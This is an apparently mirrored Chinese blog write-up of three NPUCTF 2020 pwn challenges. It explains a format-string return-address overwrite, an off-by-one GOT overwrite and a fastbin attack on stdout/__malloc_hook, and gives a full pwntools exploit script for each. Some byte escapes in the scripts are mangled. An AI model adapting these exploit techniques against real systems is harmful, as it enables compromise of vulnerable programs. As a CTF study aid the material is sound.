zoukankan      html  css  js  c++  java
  • 2020 NUPCTF pwn题目

      去年的一场比赛,今年来把去年不会做的题目来看一下,只在buu找到三道题,剩下两道好像是内核题,算了,估计找到也不会做。

    npuctf_2020_level2

       bss段上的格式化字符串漏洞的利用。

      程序还是比较简单的,一个while循环套着一个read和printf,printf存在格式化字符串漏洞,buf是在bss段上。不能直接找偏移用pwntools模块生成payload,这里需要利用栈上的栈链来间接的修改。这里选择将返回地址修改成one_gadgets的地址拿shell。

      这里rbp+8的位置是返回地址,偏移为7,所以直接%7$p可以泄露libc地址,在rbp+0x18的位置有一条栈链,这里是0x7ffd4e443678 —▸ 0x7ffd4e443748 —▸ 0x7ffd4e444fce,实际上我们对偏移为9处进行写入,实际上修改的就是0x7ffd4e444fce,我们这个地址改成rbp+8的地址,让这条链变成0x7ffd4e443678 —▸ 0x7ffd4e443748 —▸ 0x7ffd4e443668。

      因为程序再次运行了,所以和上面的地址对应不上了,但是基本的逻辑还在,让这条链指向了rbp+8,这个时候我们找到0x7ffd742cc6e8。

      这里的偏移是35,对这里进行写入,其实就是修改0x7f48b4ed1b97这个值,把这个值改成one_gadgets,然后输入'66666666x00'让程序返回,就拿到shell了。(这里的x00用来截断,我做的时候在这里卡了半个小时)

      大概思路就是这样,剩下的都是一些调试就能出的细枝末节,直接贴exp了。

     1 from pwn import *
     2 
     3 p = process(['./pwn'],env={'LD_PRELOAD':'./libc-2.27-buu.so'})
     4 elf = ELF('./pwn')
     5 libc = ELF('./libc-2.27-buu.so')
     6 context(os='linux', arch='amd64', log_level='debug')
     7 
     8 def duan():
     9     gdb.attach(p)
    10     pause()
    11 
    12 og = [0x4f2c5,0x4f322,0xe569f,0xe585f,0xe5858,0xe5863,0x10a38c,0x10a398]
    13 
    14 p.sendline('%7$p-%9$p')
    15 libc_base = int(p.recv(14),16)-231-libc.symbols['__libc_start_main']
    16 p.recvuntil('-')
    17 stack_ret = int(p.recv(14),16)-0xe0
    18 low_ret = stack_ret&0xffff
    19 print 'libc_base-->'+hex(libc_base)
    20 print 'stack_ret-->'+hex(stack_ret)
    21 print 'low_ret-->'+hex(low_ret)
    22 for i in range(len(og)):
    23     print str(i)+'-->'+hex(libc_base+og[i])
    24 shell = libc_base+og[0]
    25 sleep(0.2)
    26 
    27 payload = '%'+str(stack_ret&0xffff)+'c%9$hn...'
    28 p.sendline(payload)
    29 p.recvuntil('...')
    30 sleep(0.2)
    31 
    32 payload = '%'+str(shell&0xffff)+'c%35$hn...'
    33 p.sendline(payload)
    34 p.recvuntil('...')
    35 sleep(0.2)
    36 
    37 payload = '%'+str((stack_ret&0xffff)+2)+'c%9$hn...'
    38 p.sendline(payload)
    39 p.recvuntil('...')
    40 sleep(0.2)
    41 
    42 payload = '%'+str((shell>>0x10)&0xff)+'c%35$hhn...'
    43 p.sendline(payload)
    44 p.recvuntil('...')
    45 sleep(0.2)
    46 
    47 payload = '66666666x00'
    48 p.send(payload)
    49 sleep(0.2)
    50 p.interactive()

    easyheap

      没开pie,RELRO:    Partial RELRO,可写got表。增删查改功能都有,在edit中存在off by one漏洞。

      对堆块进行构造,利用edit函数修改指针,将头指针指向got表泄露libc地址,然后修改atoi为system,输入'/bin/shx00'进行拿shell。

      exp:

     1 from pwn import *
     2 
     3 p = process('./pwn')
     4 elf = ELF('./pwn')
     5 libc = ELF('./libc.so.6')
     6 context.log_level = 'debug'
     7 
     8 def duan():
     9     gdb.attach(p)
    10     pause()
    11 
    12 def add(size,content):
    13     p.sendlineafter('choice :','1')
    14     p.sendlineafter('only) : ',str(size))
    15     p.sendafter('Content:',content)
    16 
    17 def edit(index,content):
    18     p.sendlineafter('choice :','2')
    19     p.sendlineafter('Index :',str(index))
    20     p.sendafter('Content:',content)
    21 
    22 def show(index):
    23     p.sendlineafter('choice :','3')
    24     p.sendlineafter('Index :',str(index))
    25 
    26 def delete(index):
    27     p.sendlineafter('choice :','4')
    28     p.sendlineafter('Index :',str(index))
    29 
    30 atoi_got = elf.got['atoi']
    31 
    32 add(0x18,'aaaaaaaa') #0
    33 add(0x18,'bbbbbbbb') #1
    34 edit(0,'aaaaaaaa'*3+'x41')
    35 delete(1)
    36 add(0x38,'cccccccc')
    37 edit(1,p64(0)*3+p64(0x21)+p64(0x38)+p64(atoi_got))
    38 show(1)
    39 libc_base = u64(p.recvuntil('x7f')[-6:].ljust(8,'x00'))-libc.symbols['atoi']
    40 print 'libc_base-->' + hex(libc_base)
    41 
    42 system = libc_base + libc.symbols['system']
    43 
    44 edit(1,p64(system))
    45 p.recvuntil('choice :')
    46 p.sendline('/bin/sh
    ')
    47 p.interactive()

    bad_guy

      保护全开,堆菜单题,但是没有show函数,不能leak libc。edit函数存在堆溢出,随便溢出。

      思路:fastbins加溢出,构造unsorted chunk,释放得到libc地址,修改后两个字节,'xddx65',这里的0x65dd,6是1/16的概率打到io结构体上,5dd是固定的偏移,这里正好能够绕过fastbins的检查,在这里申请chunk,能修改到stdout结构体的东西。

      这里需要将flags的标志位改成0xfbad1800,_IO_read_ptr、_IO_read_end、_IO_read_base可以随便覆盖,需要将_IO_write_base的末尾改小,改成'x00‘,这样能输出更多东西。然后就会输出libc地址,拿到libc地址之后就是常规的打__malloc_hook拿shell了。

     1 from pwn import *
     2 
     3 #p = process('./pwn')
     4 elf = ELF('./pwn')
     5 libc = ELF('./libc.so.6')
     6 #libc = ELF('./libc-2.23.so')
     7 context.log_level = 'debug'
     8 
     9 def duan():
    10     gdb.attach(p)
    11     pause()
    12 
    13 def add(index,size,content):
    14     p.sendlineafter('>> ','1')
    15     p.sendlineafter('Index :',str(index))
    16     p.sendlineafter('size: ',str(size))
    17     p.sendafter('Content:',content)
    18 
    19 def edit(index,size,content):
    20     p.sendlineafter('>> ','2')
    21     p.sendlineafter('Index :',str(index))
    22     p.sendlineafter('size: ',str(size))
    23     p.sendafter('content: ',content)
    24 
    25 def delete(index):
    26     p.sendlineafter('>> ','3')
    27     p.sendlineafter('Index :',str(index))
    28 
    29 og = [0x45226,0x4527a,0xf0364,0xf1207]
    30 #og = [0x45216,0x4526a,0xf02a4,0xf1147]
    31 
    32 while True:
    33     try:
    34         p = process('./pwn')
    35         add(0,0x20,'aaaaaaaa')
    36         add(1,0x20,'bbbbbbbb')
    37         add(2,0x60,'cccccccc')
    38         add(3,0x20,'dddddddd')
    39         delete(2)
    40         edit(0,0x40,'aaaaaaaa'+p64(0)*4+p64(0xa1))
    41         delete(1)
    42         add(1,0x20,'aaaaaaaa')
    43         edit(1,0x48,'aaaaaaaa'+p64(0)*4+p64(0x71)+'xddx25')
    44         add(2,0x60,'aaaaaaaa')
    45         add(4,0x60,'a'*0x13+p64(0)*4+p64(0xfbad1800)+p64(0)*3+'x00')
    46         p.recvuntil('x7f')
    47         libc_base = u64(p.recvuntil('x7f')[-6:].ljust(8,'x00'))-0x83-libc.symbols['_IO_2_1_stdout_']
    48         print 'libc_base-->'+hex(libc_base)
    49         shell = libc_base+og[3]
    50         malloc_hook = libc_base+libc.symbols['__malloc_hook']
    51         print '------>'+hex(malloc_hook-0x23)
    52         sleep(3)
    53         print '---------------------'
    54         delete(2)
    55         edit(1,0x40,'zzzzzzzz'+p64(0)*4+p64(0x71)+p64(malloc_hook-0x23))
    56         add(2,0x60,'aaaaaaaa')
    57         add(7,0x60,'a'*0x13+p64(shell))
    58         p.sendlineafter('>> ','1')
    59         p.sendlineafter('Index :','7')
    60         p.sendlineafter('size: ',str(0x60))
    61         #duan()
    62         break
    63     except:
    64         p.close()
    65 
    66 p.sendline('cat flagx00')
    67 p.recv()
    68 p.interactive()
  • 相关阅读:
    js正则还原和转义特殊字符
    element表格鼠标悬浮上带有点击事件的变红-:row-class-name
    elemen-table表格数据转换-formatter属性
    SVN的安装及汉化的
    element中关于input框
    VUE之兄弟组件 $emit和$on、$bus的用法
    关于element表单校验(二)
    关于element表单校验(一)
    element表格里数据处理
    各类手册收藏整理
  • 原文地址:https://www.cnblogs.com/bhxdn/p/14266154.html
Copyright © 2011-2022 走看看